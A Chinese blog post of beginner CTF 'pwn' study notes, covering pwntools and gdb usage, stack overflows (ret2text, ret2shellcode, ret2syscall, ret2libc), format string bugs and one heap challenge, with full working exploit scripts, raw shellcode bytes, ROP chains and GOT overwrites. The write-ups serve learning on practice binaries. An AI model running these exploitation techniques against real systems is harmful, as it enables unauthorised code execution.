超全PWN入门笔记,从栈到堆一步到位

PWN入门笔记

环境配置

虚拟机:VMware - Ubuntu18.04/20.04 ----> 清华镜像站找 iso
*22.04存在很多兼容性问题,不要用22.04
装东西:IDA(Win), 换源, vim, gcc, python3, pip, ipython, fish, pwndbg, pwntools,详情请用bing

很好的入门课程

https://www.bilibili.com/video/BV1854y1y7Ro
课程的附件: https://pan.baidu.com/s/1vRCd4bMkqnqqY1nT2uhSYw 提取码: 5rx6
后文的许多题解用的都是这个课中的例题

杂项,随时补充:

1、linux 下的命令行中自带了文本解码的工具,解码 base64: echo 待解码内容 | base64 -d
2、python3 中可以用 字符串.ljust(num, 'a') 用垃圾字符 a 从左向右填充这个字符串到长度为num
3、python 是一个很好的计算器
4、strings 程序名 | grep sh 在程序中寻找含有sh的字符串

pwntools基本用法

1、一切从 from pwn import * 开始
2、打开连接
本地:io = process("***")
远程:io = remote("https://*******", 端口) (后文以此为例)
3、此时 ”io“ 这个对象已经和本地或远程的一个进程连接上了,我们可以对io进行一系列操作
4、从服务器接收数据
接收一行 io.recvline()
全接收完 io.recv()
通过这种方法接收数据可以得到最本真的数据,包括转义字符等东西也会全部显示出来
io.recvuntil('0x') 在读到 0x 之前一直读入数据
io.recv(14) 读入 14 位数据
5、向服务器发送数据
例如: io.send(b"X0H3M6")io.send(p64(114514))(意思是讲 114514 这个整数打包成 64 比特宽度的字节流的形式发送出去,如果是 32 位的程序就用 p32() )
需要注意的是,send() 中填的数据类型必须为字节流,而不是对象,因为对象并不是用二进制表示的编码,如果要发送字符串,也不能直接发送 "114514",因为 py 中用引号括起的字符串是一个对象,我们需要用 b"114514" 将它转化为一个bite类型的数据发送出去
6、io.interactive() 进入交互模式
7、shellcraft.sh() 函数可以得到调用shell的汇编代码,我们可以用 asm(shellcraft.sh()) 将它转换为机器码,并发送给待攻击的服务器
8、关于 64 位程序
(1)必须用 context.arch = 'amd64' 把环境转成 64 位
(2)获取 shellcode 必须用 shellcraft.amd64.sh()
(3)16 进制转字节流必须用 p64(0x114514) 9、elf = ELF('./程序名') 创建一个 elf 对象 10、elf.plt['system'] 查找elf对象中 system@plt 的地址 11、next(elf.search(b'/bin/sh')) 查找该对象中 /bin/sh 的地址 12、context.log_level = 'debug'` 打开很有用的调式模式

gdb命令

1、gdb 程序名 进入 pwndbg 动态调试( gdb 没写反)
2、break 函数名break 地址值break C语言行号 在某处设置断点
3、run 运行程序 next 步过 step 步进
4、stack 整数 查看多少栈
5、vmmap 显示虚拟内存空间的分布
6、info b 查看当前的断点 d <num> 删除某一个断点
7、c (也就是 continue 的缩写)让程序继续执行到下一个断点或结束
8、got 查看 got 表
9、p &printf 查看 printf 函数的真实地址
10、x / 10wx 地址 查看该地址后 10 个内存单元的内容
11、xinfo 地址 查看该地址信息,包括偏移等
12、hexdump 地址 大小 查看堆块内存分布
13、heap 查看堆信息
14、info variables 查看所有的变量信息
15、p &__bss_start 查看 bss 段起始位置

常见的保护

1、the NX bits:栈不可执行
2、ASLR:内存随机化
3、PIE
4、Canary(金丝雀):
5、RELRO

C语言函数调用栈

函数调用栈的过程是十分复杂的,这里简单记一下笔记 多了我也写不明白

1、基础的寄存器

函数调用栈主要涉及到三个寄存器:
esp(栈指针寄存器):存储当前栈顶的位置,也就是始终指向栈顶
ebp(基址指针寄存器):存储当前函数状态的基地址,指向当前系统栈中最顶部的栈帧的底部
eip (指令指针寄存器):存储 CPU 读入指令的地址,CPU 通过 eip 读取即将执行的指令

2、汇编基础

需要记住的汇编指令有:
mov A, B:将 B 赋值给 A ,也就是 A = B
pop A:将当前栈顶的值赋给 A ,然后弹出这个值
push A:将 A 入栈
ret:等效于 pop eip ,将栈顶的值(也就是 return address)赋给eip,让cpu执行那里的指令
call addr:调用函数

3、调用函数

调用一个函数时,先将堆栈原先的基址(EBP)入栈,以保存之前任务的信息。然后将栈顶指针的值赋给EBP,将之前的栈顶作为新的基址(栈底),然后再这个基址上开辟相应的空间用作被调用函数的堆栈。函数返回后,从EBP中可取出之前的ESP值,使栈顶恢复函数调用前的位置;再从恢复后的栈顶可弹出之前的EBP值,因为这个值在函数调用前一步被压入堆栈。这样,EBP和ESP就都恢复了调用前的位置,堆栈恢复函数调用前的状态。(来源于EBP 和 ESP 详解_测试开发小白变怪兽的博客-CSDN博客_ebp

栈溢出

ret2text攻击

1、开始做题,拿到程序之后,用file 程序名 查看文件信息,用 checksec 程序名 查看保护措施
2、IDA 静态分析
3、gdb 程序名 进入 pwndbg 动态调试(gdb没写反)
(1) break 函数名break 地址值 在某函数开头设置断点
(2) run 运行程序 next 步过 step 步进
(3) stack 整数 查看多少栈
4、基本流程:填充垃圾字符到 ebp,ebp 下一个地址就是函数返回地址,将返回地址修改为后门地址
一个最基本的exp:

from pwn import *

io = process('ret2text')

payload = b'a' * 20 + p32(0x8048522)

io.send(payload)
io.interactive()

ret2shellcode

基本原理:利用程序中可读可写可执行的巨大漏洞段注入调用 shell 的 shellcode 并利用栈溢
出跳转函数返回地址为 shellcode 的段并执行
这里以一道很简单的 ret2shellcode 为例:(绝对不是懒得重新写了)
XMCVE2020--ret2shellcode:
拿到程序后,还是一套流程,file 知道这是 32 位程序,checksec 发现程序没开保护并且有可读可写可执行(RWX)区域
拖 IDA 分析,main 函数如下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(s);
  strncpy(buf2, s, 0x64u);
  printf("bye bye ~");
  return 0;
}

基本逻辑就是输入字符串 \(s\) 然后拷贝给 \(buf2\) ,我们在汇编中追踪 \(buf2\) ,看到了这些东西

可以看出,buf2 可读可写可执行,并且地址是固定的
那就好办了,我们可以通过栈溢出把 shellcode 赋给 \(buf2\),并且让 main 函数返回到 \(buf2\) 的地址执行它
exp:

from pwn import *

payload = asm(shellcraft.sh()).ljust(112, b'a')
payload += p32(0x0804A080)

io = process('./ret2shellcode')
io.send(payload)
io.interactive()

*pwntools 中自带的 shellcode 比较长,如果遇到溢出长度不够的情况, 可以使用以下的shellcode
shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

ret2syscall -- ROP基础

基本原理:当一个程序中既没有后门函数,栈又不可执行时,我们可以利用代码中零散的片段拼出一个完整的可以调用 shell 的代码,这些零散的代码片段叫做 gadget
我们想要拼出的汇编代码长这样:

mov eax, 0xb
mov ebx, ["/bin/sh"]
mov ecx, 0
mov edx, 0
int 0x80

这等效于 execve("/bin/sh", NULL, NULL)
我们可以溢出一大段数据,篡改栈帧上自返回地址开始的一段区域为 gadget 的地址,达到把上面的代码连贯起来执行的效果
以一道最简单的 ret2syscall 为例:
XMCVE 2020 ret2syscall
开始先 file 和 checksec 看到它是32位程序,没有保护
用gdb调试,计算出偏移量为108 + 4 = 112
之后我们就可以开始拼凑 gadget 了
使用插件:ROPgadget
先安装(bing)
基本命令:ROPgadget --binary 文件名 --only "pop|ret" 在二进制文件中查找有pop或ret的汇编语句
在后面加上 | grep eax,就可以找到有 eax 的 gadget,以此类推,可以找到 ebx, ecx, edx
以这道题为例,我们先输入 ROPgadget --binary 文件名 --only "pop|ret" | grep eax,终端找了一会,给我们返回了如下结果:
image
我们发现地址为 0x080bb196 的gadget十分的好看,就可以利用它构造一小段payload,先用vim打开exp,记录它的地址,接着同理,找到合适的 ebx, ecx, edx 的地址
然后,用 ROPgadget --binary 文件名 --only int 查找 int 0x80
我们还可以用这个命令找一些字符串的地址,比如 ROPgadget --binary 文件名 --string '/bin/sh' ,找到 "/bin/sh" 的地址,记录下来(也可以在 IDA 的 shift+F12 字符串总览里按 ctrl + F 搜索)
以上这些操作进行完之后,我们就可以开始拼凑了
exp:

from pwn import *

io = process("./ret2syscall")

pop_eax_ret_addr = 0x080bb196
pop_edx_ecx_ebx_ret_addr = 0x0806eb90
bin_sh_addr = 0x080be408
int_0x80_addr = 0x08049421

payload = flat([b'a' * 112, pop_eax_ret_addr, 0xb, pop_edx_ecx_ebx_ret_addr, 0, 0, bin_sh_addr, int_0x80_addr])

io.sendline(payload)
io.interactive()

ps:flat() 函数接收一个列表类型的数据,并将列表中的每个元素转化成字节型数据,不足一字节的补足到一字节

ret2libc

上道 ret2syscall 的题,我们拿到的程序是静态链接的,程序中包含了所有将要用到的库函数,所以我们可以很方便地找到 gadget ,但是在很多时候,题目中的程序都是动态链接的,程序主体往往很小,我们不能在其中找到完整的 gadget,此时我们就可以从它用到的库中寻找出路,也就是 libc

知识点:为什么system调用的参数要向上找两个字节?

要调用 shell ,我们需要让系统执行这样的指令:
image
而函数调用栈的结构长这样:
image
可以看到,父函数压入的子函数的参数 arg1, arg2 越过了 Return Address 和 Caller's ebp 两个字长后,才是子函数的局部变量,根据函数调用约定,子函数会自动越过 Return Address 和 Caller's ebp ,网上找他所需要的参数,子函数自己是知道这一点的
而 system 的汇编中,在 pop 掉它自己之后,第一行便是 push ebp 所以此时栈的结构会变成这样:
image
显而易见的,我们需要让 local var 往上三个字长后读取到的东西是 '/bin/sh',就得把 system 需要的参数填在 system 往上两个字节的位置
ps:上面的文字只是用 system 函数来举例,其实不止是 system 函数,许多函数也遵循这样的攻击规则,如 gets,puts 等,具体怎么填参数,要由这些函数的底层汇编决定

知识点:程序动态链接的过程

静态链接虽然方便,但带来的是大量内存空间的浪费,以及各种各样的问题,于是动态链接应运而生
在动态链接的程序中,每个函数对应了两个东西,plt 表和 got 表
(以 system 函数为例)
其中 plt 可以类比为 system 在这个程序中的表象,是一串写死在 elf 中的代码,它具有两个功能
1、询问 got 表 system 函数在 libc 中的地址
2、如果 got 表中没有存入这个地址,就调用一个复杂的解析 (resolve) 函数,找出 system 在 libc 中的地址,并把这个地址存在 got 表中(解析函数的具体实现,我们不需要知道 我也不知道
而 got 表存储的是一个地址,在初始状态指向 plt 表中查询 got 表那一行代码的下一行代码
写不清楚,直接上图
第一次调用的流程如下:
image
第二次调用的流程就简单多了
image

XMCVE 2020 ret2libc2:
file+checksec 32位动态链接无保护,拖 IDA 静态分析,发现gets漏洞,gdb 调试,偏移量108+4
这是一个动态链接的程序,我们不能用 ret2syscall 构造 gadget 的方法拿到 shell ,但我们可以构造出形如 system('/bin/sh') 的代码段并让程序执行,根据基础知识,我们需要整出这样的结构
image
汇编代码中有 system 但没有 /bin/sh ,所以我们需要自己写入一个 "/bin/sh" 并填入它的地址
翻一翻 bss 段(用来存储一些全局变量的),发现在 0x0804A080 的地方藏了个 char buf2,那么我们可以先调用一个 gets,然后把 /bin/sh 输入到 buf2 里,再在调用 system 的时候返回到 buf2,也就是这样一个结构:
image
exp 如下:

from pwn import *

io = process("./ret2libc2")
io.recv()

sys_addr = 0x8048490
gets_addr = 0x8048460
buf2_addr = 0x804a080
pop_ret = 0x0804843d

payload = flat([b'a' * 112, p32(gets_addr), p32(pop_ret), p32(buf2_addr), p32(sys_addr), b'aaaa', p32(buf2_addr)])

io.sendline(payload)
io.sendline(b'/bin/sh')
io.interactive()

XMCVE 2020 ret2libc3
32位程序无保护,偏移量 56 + 4
拖进 IDA 一看,欸,没有 system 也没有 /bin/sh
先找漏洞点,乍一瞅看不出来

char src[256]; // [esp+12h] [ebp-10Eh] BYREF
char buf[10]; // [esp+112h] [ebp-Eh] BYREF
int v8; // [esp+11Ch] [ebp-4h]
//省略一段代码
read(0, buf, 0xAu);
//省略一段代码
read(0, src, 0x100u);

两个 read 对应的数组长度都对的不能再对了
漏洞点在后面的 \(Print\_message()\) 函数里

char dest[56]; // [esp+10h] [ebp-38h] BYREF
strcpy(dest, src);

看似只是将 \(src\) 复制到了 \(dest\) 中,但是 \(dest\) 只开了 56 长度, \(src\) 的长度有 256 很明显会发生栈溢出
好了回到刚才的问题,没有 system 和 /bin/sh 怎么溢出?
这是一个动态链接的程序,所以 ret2syscall 不可行,但是动态链接也有它的漏洞
动态链接的程序运行时,会把需要的动态链接库整个载入到内存中,就像这样:
image
就算开启了内存随机化保护,动态链接库也是一个不会被拆开的整块,也就是说,各个函数间的相对距离是永远不变的,而我们肯定有 libc 文件,所以只需要知道其中任意一个函数载入内存后的地址,就可以推出所有函数的地址
而这道题比较的简单,它给我们的程序就是一个内存查询工具,所以我们只需要让他查询一个已执行函数的 got 表里存了什么,就能知道这个函数在内存中的地址,也就能得到 system 的地址
exp:

from pwn import *

io = process('./ret2libc3')
elf = ELF('./ret2libc3')
libc = ELF('libc-2.27.so')

io.recv()
io.sendline(str(elf.got['puts']))
io.recvuntil(b': ')
puts = io.recv(10)
sys = int(puts, 16) - libc.symbols['puts'] + libc.symbols['system']
sh = next(elf.search(b'sh\x00'))

payload = flat([cyclic(60), p32(sys), cyclic(4), p32(sh)])

io.send(payload)
io.interactive()

XMCVE 2020 练习题 pwn2_x64
这道题比较简单,给了 system 和 /bin/sh 主要特殊的点在于:它是个64位程序
特殊在什么地方呢?一般的32位程序中,调用函数时传的参数都被压在栈里了,但是 x64 不太一样,在调用函数时,前 6 个参数会挨个依次存在 rdi, rsi, rdx, rcx, r8, r9 这几个寄存器中,之后的参数才会压到栈里,system 只有一个参数,我们在构造 payload 的时候要整出这样一个结构:
image
在脑海中把这 3 行栈模拟一遍就能想明白了,exp 如下:

from pwn import *
context.arch = 'amd64'

sys = 0x40063e
binsh = 0x600a90
pop_rdi_ret = 0x4006b3
payload = flat([cyclic(136), p64(pop_rdi_ret), p64(binsh), p64(sys)])

io = process('./level2_x64')
io.recv()
io.send(payload)
io.interactive()

XMCVE 2020 练习题 pwn3
32 位,无保护,偏移量 136 + 4
但是这道题有一个跟上面的 ret2libc3 不一样的地方,上面那道题给了我们内存查找的实现,我们可以直接很方便的得到 libc 的基地址,但是这道题什么都没有,需要我们自己泄露

ssize_t vulnerable_function()
{
	char buf[136]; // [esp+0h] [ebp-88h] BYREF

	write(1, "Input:\n", 7u);
	return read(0, buf, 0x100u);
}

依旧是一个简单的栈溢出漏洞,现在的主要问题是如何找到 libc 的基地址
我们知道,利用 ROP,我们可以控制程序的执行流,让我们想执行什么就执行什么,我们通过让它执行 system(/bin/sh) 拿到了shell,那我们可不可以让他执行 write(libc中某个函数在内存中的真实地址) 让它把地址自己告诉我们呢?显然是可以的,又因为这个时候,write 函数肯定执行过了,所以我们可以让它输出 write 的 got 表内容,得出 libc 基地址
只要构造这样一个结构就好了:
image
但是如果这样整的话,write 完之后程序就结束运行了,这显然不是我们想要的,那么既然我们可以用 ROP 做到任何事,为什么不能再让它执行一次 vulnerable_function 呢?
所以第一个 payload 如下: payload = flat([cyclic(140), p32(write.plt), p32(vun), p32(1), p32(write.got), p32(4)])
接下来,只需要接收到它给你发送的地址,然后再利用这个地址搞到 system 和 /bin/sh 就好了
exp:(应该是目前为止最长的了)

from pwn import *

#pian yi liang 136 + 4
io = process('./level3')
io.recv()

elf = ELF('./level3')
#libc = ELF('./libc-2.19.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

#write.plt = elf.plt['write']
write.plt = 0x8048340
write.got = elf.got['write']
vun = elf.symbols['vulnerable_function']

payload = flat([cyclic(140), p32(write.plt), vun, p32(1), p32(write.got), p32(4)])
io.sendline(payload)

a = io.recv(4)
libc_write = u32(a)
lb = libc_write - libc.symbols['write']
sys = lb + libc.symbols['system']
binsh = lb + next(libc.search(b'/bin/sh'))

payload = flat([cyclic(140), p32(sys), cyclic(4), p32(binsh)])
io.send(payload)
io.interactive()

NSSCTF-889-Where_is_shell
很久没写题解了,这道题本来只是一个简单的ret2text,但是其中涉及了一个没有接触过的知识点
调用shell的方法,除了 system('/bin/sh')system('sh') 之外,linux 中的 shell 自带了一些变量,其中 $0 是指 shell 本身的文件名,这道题代码段的 0x400541 中有 \x24%\x30 即 $0,我们可以给 system 传 $0 的参拿到 shell
小坑:注意堆栈平衡
exp:

from pwn import *

io = process('./shell')
#io = remote('1.14.71.254', 28198)
elf = ELF('./shell')

offset = 0x10
shell = next(elf.search(b'$0'))
sys = elf.plt['system']
rdi = 0x00000000004005e3
ret = 0x0000000000400416

print(hex(shell))
payload = cyclic(offset + 8) + p64(ret) + p64(rdi) + p64(shell) + p64(sys)
io.sendline(payload)
io.interactive()

格式化字符串漏洞

利用格式化字符串漏洞,就是利用 printf 函数的设计缺陷来达到内存泄漏或篡改内存的目的

格式化字符串

基本格式:%[parameter][flags][field width][.precision][length]type
重点有以下两个:
parameter:获取格式化字符串中的指定参数
例如:printf("%3$d", a, b, c) 执行后只会输出 \(c\)
type:输出的类型
%d:有符号整数
%u:无符号整数
%x:16进制无符号整数,但是不会输出 0x
%c:输出一个字符
%s:输出一个指针所指地址内存放的字符串
%p:输出一个地址,有 0x
%n:不输出字符,但是把已经成功输出的字符个数写入对应的指针参数所指的变量中
其中 %s 和 %n 要重点理解,类比于 got 表的地址和 got 表中存放的地址

printf 的漏洞

我们知道,printf 函数的一般格式是这样的:

char a[11] = "hello world";
printf("%s\n", a);

但是,printf 函数不检查占位符的数量和后面给的参数是否匹配
所以我们把程序改成这样:

char a[11] = "hello world";
printf("%s\n%p\n%x\n", a);

输出了一些奇怪的值

hello world
0x7ff9f2edc
5661d594

它到底输出了什么?
我们联想一下,在32位程序中,调用函数的参数传递是依靠栈来进行的,在正常情况下,程序老老实实地取用了 "hello world" 字符串
image
但是别忘了,栈上还有其他的数据,所以如果参数一旦填多,就会强行把数据输出出来
image
所以我们就可以泄露栈上的数据了

XMCVE 练习题 fmtstr1
32位,有 Canary,不能栈溢出,IDA 静态分析如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF
  unsigned int v5; // [esp+7Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  be_nice_to_people();
  memset(buf, 0, sizeof(buf));
  read(0, buf, 0x50u);
  printf(buf);
  printf("%d!\n", x);
  if ( x == 4 )
  {
    puts("running sh...");
    system("/bin/sh");
  }
  return 0;
}

程序逻辑为把你输入的东西输出出来,如果变量 \(x\) 的值为 4 就给你 shell
可以很容易地看出,漏洞出在 printf(buf) 这里,我们可以利用格式化字符串漏洞
双击变量 \(x\) 跟进,得到 \(x\) 的地址为 0x804A02C,我们可以利用 %n 将 4 写入到 \(x\)
先上 payload:p32(0x804A02C) + b"%11$n"
程序先 read 再 printf,也就是会把我们输入的内容在调用 printf 时再压入栈中一次,用作 printf 的参数,上 gdb 动态调试一下,可以看到在刚刚调用 printf 时栈是这样的
image
可以看到,在地址 0xFFFFCE80 和 0xFFFFCE84 中的,就是刚刚压进来的给 printf 的参数,其中CE80 为格式化字符串,CE84 为格式化字符串的参数,printf 会从格式化字符串,也就是 CE80 开始向高地址找参数,我们从 CE80 往高地址数,数到 read 进去的 'aaaa\n' 刚好是11个字节,所以偏移量为11

记录目前用时最长的一道题(2天)—— BUUCTF wdb_2018_2nd_easyfmt
2018年网鼎杯的比赛原题,32位无保护,无栈溢出,有格式化字符串漏洞,无system无 /bin/sh
IDA 静态分析如下:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[100]; // [esp+8h] [ebp-70h] BYREF
  unsigned int v4; // [esp+6Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Do you know repeater?");
  while ( 1 )
  {
    read(0, buf, 0x64u);
    printf(buf);
    putchar(10);
  }
}

我们知道,利用格式化字符串漏洞,我们可以篡改内存中的值,在这道题什么都没有的情况下,我们可以从 libc 里找突破口
众所周知,got 表中存放了某函数在内存中的真实地址,以供动态链接使用,那我们如果能篡改 got 表,就可以执行我们想要的函数了,所以我们可以挑一个函数,将它的 got 表内容修改为 system 函数的真实地址,puts 函数明显符合我们的需求
要实现把 puts 的 got 表内容修改位 system 的真实地址,需要以下几步:
1、泄露 libc 地址
2、计算 system 地址
3、将 system_addr 写入puts@got 中
因为到 \(while ( 1 )\) 的时候 puts 函数肯定执行过了,所以我们可以利用格式化字符串漏洞泄露 puts@got 的地址,得出 libc 的基地址,这部分用 gdb 计算偏移,用 %n$s 泄露
payload1:payload1 = b'%7$s' + p32(elf.got['puts'])
(坑点:偏移量的计算很搞心态,在底下会详细说,只能用 %s 不能用 %p,因为 %p 不解引用,用 %p 只能得到 got 表在哪,不能知道 got 表里放了什么东西)
计算 system 地址:略
篡改 got 表: 这是这道题最难也是最搞心态的一点,能写多详细就写多详细
程序的逻辑为先读入 \(buf\),再将 \(buf\) 作为 printf 的参数,而 \(buf\) 是个局部变量,读入的数据会存放在栈上,所以如果我们在栈上通过 \(buf\) 写入 got 表的地址,再通过 %x$n ,就可以覆写 got 表
image
这里在构造 payload 计算偏移时,可以先把关键值空出来,在 gdb 里动态调试
我们在 gdb 里调试,看到 puts 的真实地址是 0xf7e0cd90,system 的真实地址是0xf7de23d0,如果一次全部覆盖完,要输出的空格数太多了,所以我们可以先修改后两个字节,再修改前面两个字节,修改前两个字节时,要指向的地址自然就是 printf@got + 2
payload2:flat([p32(printf_got), p32(printf_got + 2), '%', str(sys_low - 8), 'c%6$hn', '%', str(sys_hi - sys_low), 'c%7$hn'])
完整 exp 如下:

from pwn import *

context.binary = './easyfmt'
#context.log_level = 'debug'

io = process('./easyfmt')
#io = remote('node4.buuoj.cn', 28845)
elf = ELF('./easyfmt')
#libc = ELF('./libc-2.23-x32.so')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

if args.G:
    gdb.attach(io)

io.recv()
puts_got = elf.got['puts']
payload1 = b'%7$s' + p32(elf.got['puts'])

io.send(payload1)

puts_real = u32(io.recvuntil('\xf7')[-4:])
printf_got = elf.got['printf']
offset = puts_real - libc.symbols['puts']
sys_real = offset + libc.symbols['system']
sys_low = sys_real & 0xffff
sys_hi = ((sys_real >> 16) & 0xffff)

payload2 = flat([p32(printf_got), p32(printf_got + 2), '%', str(sys_low - 8), 'c%6$hn', '%', str(sys_hi - sys_low), 'c%7$hn'])
#payload3 = fmtstr_payload(6, {printf_got:sys_real}, write_size = 'short')
payload3 = flat(['%', str(sys_low), 'c%13$hn', '%', str(sys_hi - sys_low), 'c%14$hnaa', printf_got, printf_got+2])

io.send(payload2)
time.sleep(0.2)
io.send(b'/bin/sh\x00')
io.interactive()

总结一下这道题的坑点:
1、偏移量的计算很搞心态 很可能是我不熟练
2、程序刚执行的时候只用了 puts 没有用 printf,所以泄露 libc 只能用 puts 来完成
3、在格式化字符串中填入参数时,一定要用 str() 把整数转换成字符串传输
4、32 位和 64 位的 libc 是不一样的,不要用错了
最后,pwntools 里内置了构造篡改 got 表的 payload,具体写法为上文中被注释掉的 payload3,其中第一个参数为偏移量,第三个参数为按照多少个字长的长度写(byte:按字节,short:两个字节,int:四个字节,也就是一个字长),这个函数生成的 payload 跟没有注释掉的 payload3 长的一样,但是因为这个 payload 中把地址写在了后面,会导致偏移量的不好计算,而且涉及了一个字节的补全问题,不是很方便,还是按照 payload2 的写法比较好

堆利用

记录目前实际用时最长的一道题(5h+)攻防世界 new-easypwn
本来我是想做栈的,然后下了一道堆的题,然后就走上了不归路
基本信息:64位保护全开,还去了符号表
那栈溢出的路基本就被堵死了
进 IDA,看到了这个
image
这一看就是典型的堆题了
因为去除了符号表,我也刚刚学堆,所以看懂程序逻辑并且给变量重命名花了不少时间
image
在这里可以看到,我们把 phone number 和 name,以及 des 的地址,都保存在了 bss 段里了

并且在 edit 函数的这里,并没有限制输入长度,保存 des 地址的地方又紧跟在 name 后面,所以我们可以进行一个地址溢出,把程序以为的 des 地址篡改成一个我们想要的值

很显然,show 函数的这里有一个格式化字符串漏洞,传进来的参数正是我们输入的 name,那么我们可以利用这个漏洞泄露 elf 和 libc 的地址,从而得出基地址
那么我们可以得出一个基本的攻击思路:先利用格式化字符串泄露出栈上的地址,从而计算出 elf 和 libc 的基地址,利用保存 des 地址的地方的溢出来篡改 des 地址为 menu 函数中 atoi 函数的 got 表地址,然后将 atoi@got 的值修改为计算出的 system 函数的真实地址,再利用 menu 中的 buf 传进 /bin/sh,就可以优雅的执行 system('/bin/sh')
这里介绍一个十分好用的指令:
xinfo 地址 显示这个地址的信息,我们主要能用他得出打开 PIE 保护的情况下当前地址相对于基地址的偏移
用格式化字符串泄露地址并算出基地址之后,我们要做的就是把 bss 段里的 chunk_addr 覆盖成 atoi 的 got 表的地址,对于偏移量的计算,这里有两种方法:
1、在 IDA 中查看

偏移量为 0xF8 - 0xE0 = 0x18 = 24,我们要利用 name 溢出,垃圾字符的长度就是 24 - 电话号码的长度 11 = 13
2、gdb 调试
我们输入 hexdump &__bss_start 130 可以查看 bss 段的130个字节

如图,可以自己数出来
exp:

from pwn import *
context.log_level = 'debug'

def add(phone_number, name, des_size, des_info):
    io.recv()
    io.sendline(phone_number)
    io.recv()
    io.sendline(name)
    io.recv()
    io.sendline(des_size)
    io.recv()
    io.sendline(des_info)

def delete(index):
    io.recv()
    io.sendline(index)

def show(index):
    # input()
    io.recv()
    io.sendline(index)

def edit(index, phone_number, name, des_info):
    io.recv()
    io.sendline(index)
    io.recv()
    io.sendline(phone_number)
    io.recv()
    io.sendline(name)
    io.recv()
    io.sendline(des_info)

io = process('./hello')
elf = ELF('./hello')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# io = remote('61.147.171.105', 53791)
# libc = ELF('libc-2.23.so')

if args.G:
    gdb.attach(io)

io.recv()
io.sendline(b'1')
add(b'%9$p%13$p', b'x0h3m6', b'10', b'hacked')
io.recv()
io.sendline(b'3')
show(b'0')
print(io.recvuntil(b'number:'))
elf_base = int(io.recv(14).ljust(8, b'\x00'), 16) - 0x1274
libc_base = int(io.recv(14).ljust(8, b'\x00'), 16) - libc.symbols['__libc_start_main'] - 243

atoi_got = elf_base + elf.got['atoi']
sys = libc_base + libc.symbols['system']
print(hex(atoi_got))
print(hex(sys))
io.recv()
io.sendline(b'4')
print(p64(atoi_got))
edit(b'0', b'114514', cyclic(13) + p64(atoi_got), p64(sys))
io.recv()
io.send(b'/bin/sh')
io.interactive()

待更新……

posted @ 2022-09-08 13:35  X0H3M1  阅读(11028)  评论(1)    收藏  举报